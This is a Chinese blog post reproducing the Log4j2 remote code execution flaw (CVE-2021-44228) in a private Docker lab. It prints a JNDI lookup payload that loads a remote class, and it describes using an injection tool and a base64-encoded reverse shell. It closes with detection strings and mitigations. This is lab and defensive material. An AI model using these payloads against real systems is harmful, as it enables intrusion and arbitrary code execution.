分享好友 最新动态首页 最新动态分类 切换频道
log4j2 远程代码执行漏洞复现(CVE-2021-44228)
2024-12-25 14:23

写在前面

log4j2 远程代码执行漏洞复现(CVE-2021-44228)

log4j 对应的是 CVE-2017-5645,即 Apache Log4j Server 反序列化命令执行漏洞

log4j2 对应的是 CVE-2021-44228,即 log4j2 远程代码执行漏洞,通过 JNDI 注入实现

CVE-2017-5645 比较久远因此我们这里不做演示,本篇博客主要介绍 CVE-2021-44228 的复现。

攻击机:kali Linux(192.168.249.128

靶机:kali Linux(192.168.249.132

目录

一、基础知识铺垫

1、什么是 log4j 和 log4j2

2、什么是 JNDI

二、漏洞原理

三、影响版本

四、环境搭建

五、漏洞验证

六、漏洞利用

1、JNDI 注入工具安装

2、工具用法

3、服务站点部署

4、开启端口监听

5、反弹shell

七、流量特征与防御措施

1、log4j2 漏洞流量特征

2、log4j2 漏洞防御措施


文章开始前给大家分享一个学习人工智能的网站,通俗易懂,风趣幽默

~~~~~~~~~~~~ 正文开始 ~~~~~~~~~~~~

log4j 是 Apache 的一个开源日志库,是一个基于 Java 的日志记录框架,Log4j2 是 log4j 的后继者,其中引入了大量丰富的特性,可以控制日志信息输送的目的地为控制台、文件、GUI 组建等,被应用于业务系统开发,用于记录程序输入输出日志信息,log4j2 中存在JNDI注入漏洞,当程序记录用户输入的数据时,即可触发该漏洞,成功利用该漏洞可在目标服务器上执行任意代码。

JNDI 是 Java Naming and Directory Interface 的缩写,是 Java 中用于访问各种命名和目录服务的API(应用程序编程接口) 。JNDI 提供了一种标准的方式来访问各种命名和目录服务,从指定的远程服务器获取并加载对象,其中常用的协议包括 RMI(远程方法调用)和 LDAP(轻量目录访问协议)。

log4j2 在日志输出中,未对字符合法性进行严格的限制,执行了 JNDI 协议加载的远程恶意脚本,从而造成RCE。

详细过程分析

log4j2 框架下的 lookup 查询服务提供了 {} 字段解析功能,传进去的值会被直接解析。

当用户输入信息时,应用程序中的 log4j2 组件会将信息记录到日志中,假设日志中含有语句${jndi:ldap:192.168.249.1:9001/poc.class},log4j2 就会去解析该信息,通过 JNDI 的 lookup() 方法去解析 URL:ldap:192.168.249.1:9001/poc.class,解析到 ldap,就会去 192.168.61.129:9001 的 ldap 服务找名为 poc.class 的资源,如果找不到则会去 http 服务中找,只要在 ldap 或者 http 中找到了 poc.class ,就会将资源信息返回到 JNDI 接口,进而返回给应用程序的 log4j2 组件,而 log4j2 组件会将其下载下来,然后发现 poc.class 是一个 .class 文件,就会去执行里面的代码,从而实现注入,我们就可以通过 poc.class 实现任意命令的执行。

示意图

受影响版本范围:2.0 ≤ Apache Log4j2 < 2.15.0-rc2

首先拉取靶场的最新镜像

(你自己需要先装好 docker

 
 

开启容器

 

这里我是将靶场环境的 8080 端口映射到了本地的 9001(找一个未被占用的端口即可

因为 8080 端口是靶场默认所在的位置,后面的 9001 为一个自定义的本地端口号

启用成功后,使用 docker ps 查看运行的容器

接下来我们直接访问本地的 9001 端口即可看到靶场环境

首先使用 DNSLog 平台获取一个子域名

DNSLog PlatformDNSLog:DNSLog Platform

点击 Get SubDomin 

这里获取到的子域名为:7fprj5.dnslog.cn

使用该子域名,我们构造 payload

 

点击靶场的 ?????

发现请求了文件hello,并且给参数 payload 传入了值 111

替换 payload 值为我们刚才构造的 payload,即

 

发现请求失败 

因为是 get 请求,很可能是对我们传入的内容进行了 URL 解码

因此我们先对 payload 进行 URL 编码后再传入

 
 

URL 编码后为

 

 请求

 

回显 ok

回到 DNSLog 平台,点击 Refresh Record 刷新记录

可以看到 DNSLog 平台成功接收到解析记录

接下来我们构造 payload 尝试获取 Java 版本

 

同样进行 URL 编码

 

传入 payload,回显 ok 

再次刷新记录,可以得出 sys:java.version 命令被执行了

成功获取到 Java 版本号为 1.8.0_312,证明确实存在 log4j2 远程代码执行漏洞

为了方便后续的测试,这里我再开了一台 kali(192.168.249.132)作为靶机,按照我们前面四的环境搭建步骤再搭建了一个靶场环境,而我的 JNDI  注入工具装在另一台 kali(192.168.249.128)上,这台kali 则作为我们的攻击机。

搭建好后测试一下,可以正常访问到

首先安装 JNDI 注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

 
 

切换到 JNDI-Injection-Exploit 目录

 

编译安装,在该目录下执行如下命令

 

关于 mvn 命令的安装与配置可以看我上一篇博客

编译安装完成后,我们会得到一个 jar 文件

位置在:/root/JNDI-Injection-Exploit/target/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar

在运行结果的最后有给出

切换进入到 target 目录

 
 
 
 
 
 

反弹 shell 到目标主机端口,这里以 7777 端口为例

 

对命令进行 base64 编码 (命令必须经过编码,不然无法实现

编码可以使用如下网站

其实就是将我们的命令换了一种写法,先进行 base64 编码后再解码

得到

 

将想要执行的命令替换成我们得到的 payload,以及填上我们的攻击机ip

利用 JNDI 注入工具把这个反弹 shell 命令部署到 LDAP 服务上

在 target 目录下,执行如下命令

 
 

这样我们就部署好了 RMI 和 LDAP 服务的站点,并且得到了 payload 路径

再开一个终端,监听我们对应的端口(我这里的 payload 里为 7777

 
 

使用上述给出的 payload 路径构造完整 payload

比如

 
 

我们可以针对不同版本和不同情况使用不同的服务和不同的 payload

同样这里需要对 payload 进行 URL 编码后再传入

 JNDI 注入工具的终端显示如下

查看刚才监听的端口

已经建立连接,反弹 shell 成功,我们便可以执行想要执行的命令了

(1)恶意请求中包含 JNDI 协议地址

攻击者通常会在 HTTP 请求或其他网络流量中插入包含 JNDI 协议地址的字符串,如"ldap://"、"rmi://"等。这些字符串会被log4j2解析为 JNDI 查找,从而导致远程代码执行。

(2)日志记录消息中包含可执行代码

攻击者构造的恶意日志记录消息可能包含可执行的Java代码,如 JNDI 注入 payload 。这些代码会被 log4j2 解析和执行,从而触发远程代码执行漏洞。

(3)异常堆栈中出现与 JNDI 相关的类或方法

在应用程序的异常堆栈中,可能会出现与JNDI相关的类或方法,如javax.naming.directory.InitialDirContext 等。这表明攻击者已经成功地利用了 log4j2 漏洞,执行了远程代码并导致异常。


(4)大量的异常日志记录: 

攻击者可能会尝试多次利用 log4j2 漏洞,因此在日志中可能会出现大量的异常日志记录。这些异常日志记录通常会包含与 JNDI 相关的内容,如 JNDI 协议地址或异常堆栈信息。

(1)设置 log4j2.formatMsgNoLookups=True

这个设置将禁用 log4j2 中的消息查找(Lookups,这样可以防止恶意代码利用 JNDI 注入漏洞。通过设置此选项,log4j2 将不会解析消息中的变量或执行 JNDI 查找。


(2)对包含特定字符串的请求进行拦截

监测应用程序的日志,如果发现其中包含"jndi:ldap://"、"jndi:rmi://"等可疑字符串,可以使用WAF(Web应用程序防火墙)或 IDS(入侵检测系统)等工具来拦截这些请求,从而阻止潜在的攻击。


(3)对系统进行合理配置,限制对外访问

配置网络防火墙,限制系统对外部网络的访问,并阻止不必要的业务访问外网。


(4)升级 log4j2 组件到新的安全版本

及时升级 log4j2 到最新的安全版本,以修复已知的漏洞并增强系统的安全性。

最新文章
注册微信公众号及复用其资质快速创建小程序的流程
本文主要分为两个部分的操作流程,分别是:注册微信公众号、复用公众号(订阅号与服务号均可)资质注册小程序,均需要电脑进入微信公众平台(mp.weixin.qq.com)操作。1、若您已经注册好了公众号,可直接进入本文第二个部分了解怎样复用资
韩国出了个整容最多女星排行榜,第一名直接年轻了20岁!
韩国真的有好多榜单啊,什么最让你心动男爱豆之类的,最近橘子君又看到一个,叫什么整容最多的女星排行榜。看到这个榜单橘子君就被吸引了,一起来看看都有谁上榜了。8、郑秀妍先从最后一位说起,是前少女时代成员郑秀妍。姑娘长相属于那种
百度蜘蛛池咨询:蜘蛛池网站后门清理攻略,保障网站安全,维护正常运营
本攻略旨在解决百度蜘蛛池网站后门问题,通过有效方法清理后门,保障网站安全与正常运营。本文目录导读:蜘蛛池网站后门的特点蜘蛛池网站后门的清理方法随着互联网的快速发展,网站已经成为企业、个人展示形象、宣传产品、拓展业务的重要平
类似刺沙H5的手机游戏大全
刺沙H5是一款新出又好玩的H5游戏类型手机游戏,一经上线便深受广大手游玩家的喜欢,在众多手机游戏中,也有不少类似《刺沙H5》一样采用传奇 动作题材的手游,群乐小编都给大家整理了出来,下面跟着小编一起来看看类似刺沙H5的手机游戏大全
中式短剧在美国杀疯了,还捧红了一个爆款APP
“孤儿女主Selene过着寄人篱下的生活,稍有不慎就会被辱骂、被拳打脚踢。Selene哭着祈求上天在她18岁那年赐予她一位孔武有力的狼人。” 这是北美最热门短剧之一《Fated to My Forbidden Alpha》(《命中注定的我的禁忌之恋》&#
提高自己网站人气的25条建议
01、千言万语第一句话:先把网站的内容做好!不过,这里千万要强调一点:不要迷信“原创”,切忌不顾一切原创内容,我们要做的是把内容整合好,就像一个好厨师用好手艺做好菜,而不是自己去喂猪。我们要做的就是内容整合,形成具有足够吸引
广州SEO优化专家助力企业开启互联网营销新时代
广州SEO优化推广公司致力于助力企业开拓互联网营销新领域,提供全方位SEO服务,提升企业在线影响力,开拓更广阔的互联网市场空间。随着互联网技术的飞速发展,网络营销已经成为企业拓展市场、提升品牌影响力的重要手段,在众多网络营销方式
“朋友圈被领导点赞”被认定为加班证据,员工获赔1.8万元!
推荐阅读“假如给我一天自由,我想陪在爸爸身边……”12月15 日起,全面实施!中央经济工作会议在北京举行 习近平发表重要讲话安徽省司法厅出品欢迎投稿到邮箱sft7000@163.com
《漫画讲透黄帝内经》:以画释典,养生入心
在中医典籍中,《黄帝内经》犹如一座巍峨的山峰,屹立不倒,其蕴含的养生智慧与生命哲学,历经千年仍熠熠生辉。然而,对于现代人而言,这部古老经典的文字晦涩难懂,往往令人望而却步。幸运的是,《漫画讲透黄帝内经》的出现,如同一股清新
【反电诈提示】十守“双十二”网购关,请接招!
“双十一”的余热还未散尽您是否已经摩拳擦掌准备在双十二购物狂欢中大显身手我们为您准备了“十守网购关”消费妙招帮助您慧眼识破那些隐藏在诱人优惠背后的小陷阱请系好“安全带”让我们一同开启这场智慧购物之旅!一守问:“双十二”期间
相关文章
推荐文章
发表评论
0评